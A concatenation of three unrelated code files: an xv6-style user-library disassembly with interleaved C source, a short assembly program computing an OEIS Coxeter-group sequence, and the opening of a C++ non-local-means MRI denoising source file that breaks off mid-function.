2ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2b0: 8b 75 08 mov 0x8(%ebp),%esi
2b3: 8b 45 08 mov 0x8(%ebp),%eax
2b6: 01 de add %ebx,%esi
2b8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
2ba: c6 03 00 movb $0x0,(%ebx)
}
2bd: 8d 65 f4 lea -0xc(%ebp),%esp
2c0: 5b pop %ebx
2c1: 5e pop %esi
2c2: 5f pop %edi
2c3: 5d pop %ebp
2c4: c3 ret
2c5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
2c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000002d0 <stat>:
int
stat(char *n, struct stat *st)
{
2d0: 55 push %ebp
2d1: 89 e5 mov %esp,%ebp
2d3: 56 push %esi
2d4: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
2d5: 83 ec 08 sub $0x8,%esp
2d8: 6a 00 push $0x0
2da: ff 75 08 pushl 0x8(%ebp)
2dd: e8 f0 00 00 00 call 3d2 <open>
if(fd < 0)
2e2: 83 c4 10 add $0x10,%esp
2e5: 85 c0 test %eax,%eax
2e7: 78 27 js 310 <stat+0x40>
return -1;
r = fstat(fd, st);
2e9: 83 ec 08 sub $0x8,%esp
2ec: ff 75 0c pushl 0xc(%ebp)
2ef: 89 c3 mov %eax,%ebx
2f1: 50 push %eax
2f2: e8 f3 00 00 00 call 3ea <fstat>
close(fd);
2f7: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
2fa: 89 c6 mov %eax,%esi
close(fd);
2fc: e8 b9 00 00 00 call 3ba <close>
return r;
301: 83 c4 10 add $0x10,%esp
}
304: 8d 65 f8 lea -0x8(%ebp),%esp
307: 89 f0 mov %esi,%eax
309: 5b pop %ebx
30a: 5e pop %esi
30b: 5d pop %ebp
30c: c3 ret
30d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
310: be ff ff ff ff mov $0xffffffff,%esi
315: eb ed jmp 304 <stat+0x34>
317: 89 f6 mov %esi,%esi
319: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000320 <atoi>:
int
atoi(const char *s)
{
320: 55 push %ebp
321: 89 e5 mov %esp,%ebp
323: 53 push %ebx
324: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
327: 0f be 11 movsbl (%ecx),%edx
32a: 8d 42 d0 lea -0x30(%edx),%eax
32d: 3c 09 cmp $0x9,%al
n = 0;
32f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
334: 77 1f ja 355 <atoi+0x35>
336: 8d 76 00 lea 0x0(%esi),%esi
339: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
340: 8d 04 80 lea (%eax,%eax,4),%eax
343: 83 c1 01 add $0x1,%ecx
346: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
34a: 0f be 11 movsbl (%ecx),%edx
34d: 8d 5a d0 lea -0x30(%edx),%ebx
350: 80 fb 09 cmp $0x9,%bl
353: 76 eb jbe 340 <atoi+0x20>
return n;
}
355: 5b pop %ebx
356: 5d pop %ebp
357: c3 ret
358: 90 nop
359: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000360 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 56 push %esi
364: 53 push %ebx
365: 8b 5d 10 mov 0x10(%ebp),%ebx
368: 8b 45 08 mov 0x8(%ebp),%eax
36b: 8b 75 0c mov 0xc(%ebp),%esi
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
36e: 85 db test %ebx,%ebx
370: 7e 14 jle 386 <memmove+0x26>
372: 31 d2 xor %edx,%edx
374: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
378: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
37c: 88 0c 10 mov %cl,(%eax,%edx,1)
37f: 83 c2 01 add $0x1,%edx
while(n-- > 0)
382: 39 d3 cmp %edx,%ebx
384: 75 f2 jne 378 <memmove+0x18>
return vdst;
}
386: 5b pop %ebx
387: 5e pop %esi
388: 5d pop %ebp
389: c3 ret
0000038a <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
38a: b8 01 00 00 00 mov $0x1,%eax
38f: cd 40 int $0x40
391: c3 ret
00000392 <exit>:
SYSCALL(exit)
392: b8 02 00 00 00 mov $0x2,%eax
397: cd 40 int $0x40
399: c3 ret
0000039a <wait>:
SYSCALL(wait)
39a: b8 03 00 00 00 mov $0x3,%eax
39f: cd 40 int $0x40
3a1: c3 ret
000003a2 <pipe>:
SYSCALL(pipe)
3a2: b8 04 00 00 00 mov $0x4,%eax
3a7: cd 40 int $0x40
3a9: c3 ret
000003aa <read>:
SYSCALL(read)
3aa: b8 05 00 00 00 mov $0x5,%eax
3af: cd 40 int $0x40
3b1: c3 ret
000003b2 <write>:
SYSCALL(write)
3b2: b8 10 00 00 00 mov $0x10,%eax
3b7: cd 40 int $0x40
3b9: c3 ret
000003ba <close>:
SYSCALL(close)
3ba: b8 15 00 00 00 mov $0x15,%eax
3bf: cd 40 int $0x40
3c1: c3 ret
000003c2 <kill>:
SYSCALL(kill)
3c2: b8 06 00 00 00 mov $0x6,%eax
3c7: cd 40 int $0x40
3c9: c3 ret
000003ca <exec>:
SYSCALL(exec)
3ca: b8 07 00 00 00 mov $0x7,%eax
3cf: cd 40 int $0x40
3d1: c3 ret
000003d2 <open>:
SYSCALL(open)
3d2: b8 0f 00 00 00 mov $0xf,%eax
3d7: cd 40 int $0x40
3d9: c3 ret
000003da <mknod>:
SYSCALL(mknod)
3da: b8 11 00 00 00 mov $0x11,%eax
3df: cd 40 int $0x40
3e1: c3 ret
000003e2 <unlink>:
SYSCALL(unlink)
3e2: b8 12 00 00 00 mov $0x12,%eax
3e7: cd 40 int $0x40
3e9: c3 ret
000003ea <fstat>:
SYSCALL(fstat)
3ea: b8 08 00 00 00 mov $0x8,%eax
3ef: cd 40 int $0x40
3f1: c3 ret
000003f2 <link>:
SYSCALL(link)
3f2: b8 13 00 00 00 mov $0x13,%eax
3f7: cd 40 int $0x40
3f9: c3 ret
000003fa <mkdir>:
SYSCALL(mkdir)
3fa: b8 14 00 00 00 mov $0x14,%eax
3ff: cd 40 int $0x40
401: c3 ret
00000402 <chdir>:
SYSCALL(chdir)
402: b8 09 00 00 00 mov $0x9,%eax
407: cd 40 int $0x40
409: c3 ret
0000040a <dup>:
SYSCALL(dup)
40a: b8 0a 00 00 00 mov $0xa,%eax
40f: cd 40 int $0x40
411: c3 ret
00000412 <getpid>:
SYSCALL(getpid)
412: b8 0b 00 00 00 mov $0xb,%eax
417: cd 40 int $0x40
419: c3 ret
0000041a <sbrk>:
SYSCALL(sbrk)
41a: b8 0c 00 00 00 mov $0xc,%eax
41f: cd 40 int $0x40
421: c3 ret
00000422 <sleep>:
SYSCALL(sleep)
422: b8 0d 00 00 00 mov $0xd,%eax
427: cd 40 int $0x40
429: c3 ret
0000042a <uptime>:
SYSCALL(uptime)
42a: b8 0e 00 00 00 mov $0xe,%eax
42f: cd 40 int $0x40
431: c3 ret
00000432 <bstat>:
SYSCALL(bstat)
432: b8 16 00 00 00 mov $0x16,%eax
437: cd 40 int $0x40
439: c3 ret
0000043a <swap>:
SYSCALL(swap)
43a: b8 17 00 00 00 mov $0x17,%eax
43f: cd 40 int $0x40
441: c3 ret
442: 66 90 xchg %ax,%ax
444: 66 90 xchg %ax,%ax
446: 66 90 xchg %ax,%ax
448: 66 90 xchg %ax,%ax
44a: 66 90 xchg %ax,%ax
44c: 66 90 xchg %ax,%ax
44e: 66 90 xchg %ax,%ax
00000450 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
450: 55 push %ebp
451: 89 e5 mov %esp,%ebp
453: 57 push %edi
454: 56 push %esi
455: 53 push %ebx
456: 89 c6 mov %eax,%esi
458: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
45b: 8b 5d 08 mov 0x8(%ebp),%ebx
45e: 85 db test %ebx,%ebx
460: 74 7e je 4e0 <printint+0x90>
462: 89 d0 mov %edx,%eax
464: c1 e8 1f shr $0x1f,%eax
467: 84 c0 test %al,%al
469: 74 75 je 4e0 <printint+0x90>
neg = 1;
x = -xx;
46b: 89 d0 mov %edx,%eax
neg = 1;
46d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
x = -xx;
474: f7 d8 neg %eax
476: 89 75 c0 mov %esi,-0x40(%ebp)
} else {
x = xx;
}
i = 0;
479: 31 ff xor %edi,%edi
47b: 8d 5d d7 lea -0x29(%ebp),%ebx
47e: 89 ce mov %ecx,%esi
480: eb 08 jmp 48a <printint+0x3a>
482: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
do{
buf[i++] = digits[x % base];
488: 89 cf mov %ecx,%edi
48a: 31 d2 xor %edx,%edx
48c: 8d 4f 01 lea 0x1(%edi),%ecx
48f: f7 f6 div %esi
491: 0f b6 92 3c 08 00 00 movzbl 0x83c(%edx),%edx
}while((x /= base) != 0);
498: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
49a: 88 14 0b mov %dl,(%ebx,%ecx,1)
}while((x /= base) != 0);
49d: 75 e9 jne 488 <printint+0x38>
if(neg)
49f: 8b 45 c4 mov -0x3c(%ebp),%eax
4a2: 8b 75 c0 mov -0x40(%ebp),%esi
4a5: 85 c0 test %eax,%eax
4a7: 74 08 je 4b1 <printint+0x61>
buf[i++] = '-';
4a9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1)
4ae: 8d 4f 02 lea 0x2(%edi),%ecx
4b1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi
4b5: 8d 76 00 lea 0x0(%esi),%esi
4b8: 0f b6 07 movzbl (%edi),%eax
write(fd, &c, 1);
4bb: 83 ec 04 sub $0x4,%esp
4be: 83 ef 01 sub $0x1,%edi
4c1: 6a 01 push $0x1
4c3: 53 push %ebx
4c4: 56 push %esi
4c5: 88 45 d7 mov %al,-0x29(%ebp)
4c8: e8 e5 fe ff ff call 3b2 <write>
while(--i >= 0)
4cd: 83 c4 10 add $0x10,%esp
4d0: 39 df cmp %ebx,%edi
4d2: 75 e4 jne 4b8 <printint+0x68>
putc(fd, buf[i]);
}
4d4: 8d 65 f4 lea -0xc(%ebp),%esp
4d7: 5b pop %ebx
4d8: 5e pop %esi
4d9: 5f pop %edi
4da: 5d pop %ebp
4db: c3 ret
4dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
x = xx;
4e0: 89 d0 mov %edx,%eax
neg = 0;
4e2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
4e9: eb 8b jmp 476 <printint+0x26>
4eb: 90 nop
4ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
000004f0 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
4f0: 55 push %ebp
4f1: 89 e5 mov %esp,%ebp
4f3: 57 push %edi
4f4: 56 push %esi
4f5: 53 push %ebx
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
4f6: 8d 45 10 lea 0x10(%ebp),%eax
{
4f9: 83 ec 2c sub $0x2c,%esp
for(i = 0; fmt[i]; i++){
4fc: 8b 75 0c mov 0xc(%ebp),%esi
{
4ff: 8b 7d 08 mov 0x8(%ebp),%edi
for(i = 0; fmt[i]; i++){
502: 89 45 d0 mov %eax,-0x30(%ebp)
505: 0f b6 1e movzbl (%esi),%ebx
508: 83 c6 01 add $0x1,%esi
50b: 84 db test %bl,%bl
50d: 0f 84 b0 00 00 00 je 5c3 <printf+0xd3>
513: 31 d2 xor %edx,%edx
515: eb 39 jmp 550 <printf+0x60>
517: 89 f6 mov %esi,%esi
519: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
520: 83 f8 25 cmp $0x25,%eax
523: 89 55 d4 mov %edx,-0x2c(%ebp)
state = '%';
526: ba 25 00 00 00 mov $0x25,%edx
if(c == '%'){
52b: 74 18 je 545 <printf+0x55>
write(fd, &c, 1);
52d: 8d 45 e2 lea -0x1e(%ebp),%eax
530: 83 ec 04 sub $0x4,%esp
533: 88 5d e2 mov %bl,-0x1e(%ebp)
536: 6a 01 push $0x1
538: 50 push %eax
539: 57 push %edi
53a: e8 73 fe ff ff call 3b2 <write>
53f: 8b 55 d4 mov -0x2c(%ebp),%edx
542: 83 c4 10 add $0x10,%esp
545: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
548: 0f b6 5e ff movzbl -0x1(%esi),%ebx
54c: 84 db test %bl,%bl
54e: 74 73 je 5c3 <printf+0xd3>
if(state == 0){
550: 85 d2 test %edx,%edx
c = fmt[i] & 0xff;
552: 0f be cb movsbl %bl,%ecx
555: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
558: 74 c6 je 520 <printf+0x30>
} else {
putc(fd, c);
}
} else if(state == '%'){
55a: 83 fa 25 cmp $0x25,%edx
55d: 75 e6 jne 545 <printf+0x55>
if(c == 'd'){
55f: 83 f8 64 cmp $0x64,%eax
562: 0f 84 f8 00 00 00 je 660 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
568: 81 e1 f7 00 00 00 and $0xf7,%ecx
56e: 83 f9 70 cmp $0x70,%ecx
571: 74 5d je 5d0 <printf+0xe0>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
573: 83 f8 73 cmp $0x73,%eax
576: 0f 84 84 00 00 00 je 600 <printf+0x110>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
57c: 83 f8 63 cmp $0x63,%eax
57f: 0f 84 ea 00 00 00 je 66f <printf+0x17f>
putc(fd, *ap);
ap++;
} else if(c == '%'){
585: 83 f8 25 cmp $0x25,%eax
588: 0f 84 c2 00 00 00 je 650 <printf+0x160>
write(fd, &c, 1);
58e: 8d 45 e7 lea -0x19(%ebp),%eax
591: 83 ec 04 sub $0x4,%esp
594: c6 45 e7 25 movb $0x25,-0x19(%ebp)
598: 6a 01 push $0x1
59a: 50 push %eax
59b: 57 push %edi
59c: e8 11 fe ff ff call 3b2 <write>
5a1: 83 c4 0c add $0xc,%esp
5a4: 8d 45 e6 lea -0x1a(%ebp),%eax
5a7: 88 5d e6 mov %bl,-0x1a(%ebp)
5aa: 6a 01 push $0x1
5ac: 50 push %eax
5ad: 57 push %edi
5ae: 83 c6 01 add $0x1,%esi
5b1: e8 fc fd ff ff call 3b2 <write>
for(i = 0; fmt[i]; i++){
5b6: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
5ba: 83 c4 10 add $0x10,%esp
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
5bd: 31 d2 xor %edx,%edx
for(i = 0; fmt[i]; i++){
5bf: 84 db test %bl,%bl
5c1: 75 8d jne 550 <printf+0x60>
}
}
}
5c3: 8d 65 f4 lea -0xc(%ebp),%esp
5c6: 5b pop %ebx
5c7: 5e pop %esi
5c8: 5f pop %edi
5c9: 5d pop %ebp
5ca: c3 ret
5cb: 90 nop
5cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 16, 0);
5d0: 83 ec 0c sub $0xc,%esp
5d3: b9 10 00 00 00 mov $0x10,%ecx
5d8: 6a 00 push $0x0
5da: 8b 5d d0 mov -0x30(%ebp),%ebx
5dd: 89 f8 mov %edi,%eax
5df: 8b 13 mov (%ebx),%edx
5e1: e8 6a fe ff ff call 450 <printint>
ap++;
5e6: 89 d8 mov %ebx,%eax
5e8: 83 c4 10 add $0x10,%esp
state = 0;
5eb: 31 d2 xor %edx,%edx
ap++;
5ed: 83 c0 04 add $0x4,%eax
5f0: 89 45 d0 mov %eax,-0x30(%ebp)
5f3: e9 4d ff ff ff jmp 545 <printf+0x55>
5f8: 90 nop
5f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
600: 8b 45 d0 mov -0x30(%ebp),%eax
603: 8b 18 mov (%eax),%ebx
ap++;
605: 83 c0 04 add $0x4,%eax
608: 89 45 d0 mov %eax,-0x30(%ebp)
s = "(null)";
60b: b8 33 08 00 00 mov $0x833,%eax
610: 85 db test %ebx,%ebx
612: 0f 44 d8 cmove %eax,%ebx
while(*s != 0){
615: 0f b6 03 movzbl (%ebx),%eax
618: 84 c0 test %al,%al
61a: 74 23 je 63f <printf+0x14f>
61c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
620: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
623: 8d 45 e3 lea -0x1d(%ebp),%eax
626: 83 ec 04 sub $0x4,%esp
629: 6a 01 push $0x1
s++;
62b: 83 c3 01 add $0x1,%ebx
write(fd, &c, 1);
62e: 50 push %eax
62f: 57 push %edi
630: e8 7d fd ff ff call 3b2 <write>
while(*s != 0){
635: 0f b6 03 movzbl (%ebx),%eax
638: 83 c4 10 add $0x10,%esp
63b: 84 c0 test %al,%al
63d: 75 e1 jne 620 <printf+0x130>
state = 0;
63f: 31 d2 xor %edx,%edx
641: e9 ff fe ff ff jmp 545 <printf+0x55>
646: 8d 76 00 lea 0x0(%esi),%esi
649: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
write(fd, &c, 1);
650: 83 ec 04 sub $0x4,%esp
653: 88 5d e5 mov %bl,-0x1b(%ebp)
656: 8d 45 e5 lea -0x1b(%ebp),%eax
659: 6a 01 push $0x1
65b: e9 4c ff ff ff jmp 5ac <printf+0xbc>
printint(fd, *ap, 10, 1);
660: 83 ec 0c sub $0xc,%esp
663: b9 0a 00 00 00 mov $0xa,%ecx
668: 6a 01 push $0x1
66a: e9 6b ff ff ff jmp 5da <printf+0xea>
66f: 8b 5d d0 mov -0x30(%ebp),%ebx
write(fd, &c, 1);
672: 83 ec 04 sub $0x4,%esp
675: 8b 03 mov (%ebx),%eax
677: 6a 01 push $0x1
679: 88 45 e4 mov %al,-0x1c(%ebp)
67c: 8d 45 e4 lea -0x1c(%ebp),%eax
67f: 50 push %eax
680: 57 push %edi
681: e8 2c fd ff ff call 3b2 <write>
686: e9 5b ff ff ff jmp 5e6 <printf+0xf6>
68b: 66 90 xchg %ax,%ax
68d: 66 90 xchg %ax,%ax
68f: 90 nop
00000690 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
690: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
691: a1 dc 0a 00 00 mov 0xadc,%eax
{
696: 89 e5 mov %esp,%ebp
698: 57 push %edi
699: 56 push %esi
69a: 53 push %ebx
69b: 8b 5d 08 mov 0x8(%ebp),%ebx
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
69e: 8b 10 mov (%eax),%edx
bp = (Header*)ap - 1;
6a0: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6a3: 39 c8 cmp %ecx,%eax
6a5: 73 19 jae 6c0 <free+0x30>
6a7: 89 f6 mov %esi,%esi
6a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
6b0: 39 d1 cmp %edx,%ecx
6b2: 72 1c jb 6d0 <free+0x40>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6b4: 39 d0 cmp %edx,%eax
6b6: 73 18 jae 6d0 <free+0x40>
{
6b8: 89 d0 mov %edx,%eax
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6ba: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6bc: 8b 10 mov (%eax),%edx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6be: 72 f0 jb 6b0 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6c0: 39 d0 cmp %edx,%eax
6c2: 72 f4 jb 6b8 <free+0x28>
6c4: 39 d1 cmp %edx,%ecx
6c6: 73 f0 jae 6b8 <free+0x28>
6c8: 90 nop
6c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
break;
if(bp + bp->s.size == p->s.ptr){
6d0: 8b 73 fc mov -0x4(%ebx),%esi
6d3: 8d 3c f1 lea (%ecx,%esi,8),%edi
6d6: 39 d7 cmp %edx,%edi
6d8: 74 19 je 6f3 <free+0x63>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
6da: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6dd: 8b 50 04 mov 0x4(%eax),%edx
6e0: 8d 34 d0 lea (%eax,%edx,8),%esi
6e3: 39 f1 cmp %esi,%ecx
6e5: 74 23 je 70a <free+0x7a>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
6e7: 89 08 mov %ecx,(%eax)
freep = p;
6e9: a3 dc 0a 00 00 mov %eax,0xadc
}
6ee: 5b pop %ebx
6ef: 5e pop %esi
6f0: 5f pop %edi
6f1: 5d pop %ebp
6f2: c3 ret
bp->s.size += p->s.ptr->s.size;
6f3: 03 72 04 add 0x4(%edx),%esi
6f6: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
6f9: 8b 10 mov (%eax),%edx
6fb: 8b 12 mov (%edx),%edx
6fd: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
700: 8b 50 04 mov 0x4(%eax),%edx
703: 8d 34 d0 lea (%eax,%edx,8),%esi
706: 39 f1 cmp %esi,%ecx
708: 75 dd jne 6e7 <free+0x57>
p->s.size += bp->s.size;
70a: 03 53 fc add -0x4(%ebx),%edx
freep = p;
70d: a3 dc 0a 00 00 mov %eax,0xadc
p->s.size += bp->s.size;
712: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
715: 8b 53 f8 mov -0x8(%ebx),%edx
718: 89 10 mov %edx,(%eax)
}
71a: 5b pop %ebx
71b: 5e pop %esi
71c: 5f pop %edi
71d: 5d pop %ebp
71e: c3 ret
71f: 90 nop
00000720 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
720: 55 push %ebp
721: 89 e5 mov %esp,%ebp
723: 57 push %edi
724: 56 push %esi
725: 53 push %ebx
726: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
729: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
72c: 8b 15 dc 0a 00 00 mov 0xadc,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
732: 8d 78 07 lea 0x7(%eax),%edi
735: c1 ef 03 shr $0x3,%edi
738: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
73b: 85 d2 test %edx,%edx
73d: 0f 84 a3 00 00 00 je 7e6 <malloc+0xc6>
743: 8b 02 mov (%edx),%eax
745: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
748: 39 cf cmp %ecx,%edi
74a: 76 74 jbe 7c0 <malloc+0xa0>
74c: 81 ff 00 10 00 00 cmp $0x1000,%edi
752: be 00 10 00 00 mov $0x1000,%esi
757: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
75e: 0f 43 f7 cmovae %edi,%esi
761: ba 00 80 00 00 mov $0x8000,%edx
766: 81 ff ff 0f 00 00 cmp $0xfff,%edi
76c: 0f 46 da cmovbe %edx,%ebx
76f: eb 10 jmp 781 <malloc+0x61>
771: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
778: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
77a: 8b 48 04 mov 0x4(%eax),%ecx
77d: 39 cf cmp %ecx,%edi
77f: 76 3f jbe 7c0 <malloc+0xa0>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
781: 39 05 dc 0a 00 00 cmp %eax,0xadc
787: 89 c2 mov %eax,%edx
789: 75 ed jne 778 <malloc+0x58>
p = sbrk(nu * sizeof(Header));
78b: 83 ec 0c sub $0xc,%esp
78e: 53 push %ebx
78f: e8 86 fc ff ff call 41a <sbrk>
if(p == (char*)-1)
794: 83 c4 10 add $0x10,%esp
797: 83 f8 ff cmp $0xffffffff,%eax
79a: 74 1c je 7b8 <malloc+0x98>
hp->s.size = nu;
79c: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
79f: 83 ec 0c sub $0xc,%esp
7a2: 83 c0 08 add $0x8,%eax
7a5: 50 push %eax
7a6: e8 e5 fe ff ff call 690 <free>
return freep;
7ab: 8b 15 dc 0a 00 00 mov 0xadc,%edx
if((p = morecore(nunits)) == 0)
7b1: 83 c4 10 add $0x10,%esp
7b4: 85 d2 test %edx,%edx
7b6: 75 c0 jne 778 <malloc+0x58>
return 0;
7b8: 31 c0 xor %eax,%eax
7ba: eb 1c jmp 7d8 <malloc+0xb8>
7bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
if(p->s.size == nunits)
7c0: 39 cf cmp %ecx,%edi
7c2: 74 1c je 7e0 <malloc+0xc0>
p->s.size -= nunits;
7c4: 29 f9 sub %edi,%ecx
7c6: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
7c9: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
7cc: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
7cf: 89 15 dc 0a 00 00 mov %edx,0xadc
return (void*)(p + 1);
7d5: 83 c0 08 add $0x8,%eax
}
}
7d8: 8d 65 f4 lea -0xc(%ebp),%esp
7db: 5b pop %ebx
7dc: 5e pop %esi
7dd: 5f pop %edi
7de: 5d pop %ebp
7df: c3 ret
prevp->s.ptr = p->s.ptr;
7e0: 8b 08 mov (%eax),%ecx
7e2: 89 0a mov %ecx,(%edx)
7e4: eb e9 jmp 7cf <malloc+0xaf>
base.s.ptr = freep = prevp = &base;
7e6: c7 05 dc 0a 00 00 e0 movl $0xae0,0xadc
7ed: 0a 00 00
7f0: c7 05 e0 0a 00 00 e0 movl $0xae0,0xae0
7f7: 0a 00 00
base.s.size = 0;
7fa: b8 e0 0a 00 00 mov $0xae0,%eax
7ff: c7 05 e4 0a 00 00 00 movl $0x0,0xae4
806: 00 00 00
809: e9 3e ff ff ff jmp 74c <malloc+0x2c>
|
; A170427: Number of reduced words of length n in Coxeter group on 34 generators S_i with relations (S_i)^2 = (S_i S_j)^44 = I.
; 1,34,1122,37026,1221858,40321314,1330603362,43909910946,1449027061218,47817893020194,1577990469666402,52073685498991266,1718431621466711778,56708243508401488674,1871372035777249126242,61755277180649221165986
add $0,1
mov $3,1
lpb $0
sub $0,1
add $2,$3
div $3,$2
mul $2,33
lpe
mov $0,$2
div $0,33
|
///////////////////////////////////////////////////////////////////////////////////////
// naonlm3d.cpp
// Developed by Jose V. Manjon and Pierrick Coupe
// Modified by Dongjin Kwon, Nicolas Honnorat
///////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////
// Original Version: MABONLM3D.c (Version 2.0)
//
// Jose V. Manjon - jmanjon@fis.upv.es
// Pierrick Coupe - pierrick.coupe@gmail.com
// Brain Imaging Center, Montreal Neurological Institute.
// Mc Gill University
//
// Copyright (C) 2010 Jose V. Manjon and Pierrick Coupe
//
// Adaptive Non-Local Means Denoising of MR Images
// With Spatially Varying Noise Levels
//
// Jose V. Manjon, Pierrick Coupe, Luis Marti-Bonmati,
// D. Louis Collins and Montserrat Robles
///////////////////////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include <math.h>
#include <float.h>
#include "MyUtils.h"
#include "Volume.h"
// Multithreading stuff
#ifdef _WIN32
#include <windows.h>
#include <process.h>
#else
#include <pthread.h>
#endif
#define pi 3.1415926535
typedef struct{
int rows;
int cols;
int slices;
double *in_image;
double *means_image;
double *var_image;
double *estimate;
double *label;
double *bias;
int ini;
int fin;
int radioB;
int radioS;
bool rician;
double max_val;
} myargument;
// Returns the modified Bessel function I0(x) for any real x.
double bessi0(double x)
{
double ax, ans, a;
double y;
if ((ax=fabs(x)) < 3.75)
{
y = x/3.75;
y *= y;
ans = 1.0 + y*(3.5156229+y*(3.0899424+y*(1.2067492+y*(0.2659732+y*(0.360768e-1+y*0.45813e-2)))));
} else {
y = 3.75/ax;
ans = (exp(ax)/sqrt(ax));
a = y*(0.916281e-2+y*(-0.2057706e-1+y*(0.2635537e-1+y*(-0.1647633e-1+y*0.392377e-2))));
ans = ans*(0.39894228 + y*(0.1328592e-1 +y*(0.225319e-2+y*(-0.157565e-2+a))));
}
return ans;
}
// Returns the modified Bessel function I1(x) for any real x.
double bessi1(double x)
{
double ax, ans;
double y;
if ((ax = fabs(x)) < 3.75) {
y = x/3.75;
y *= y;
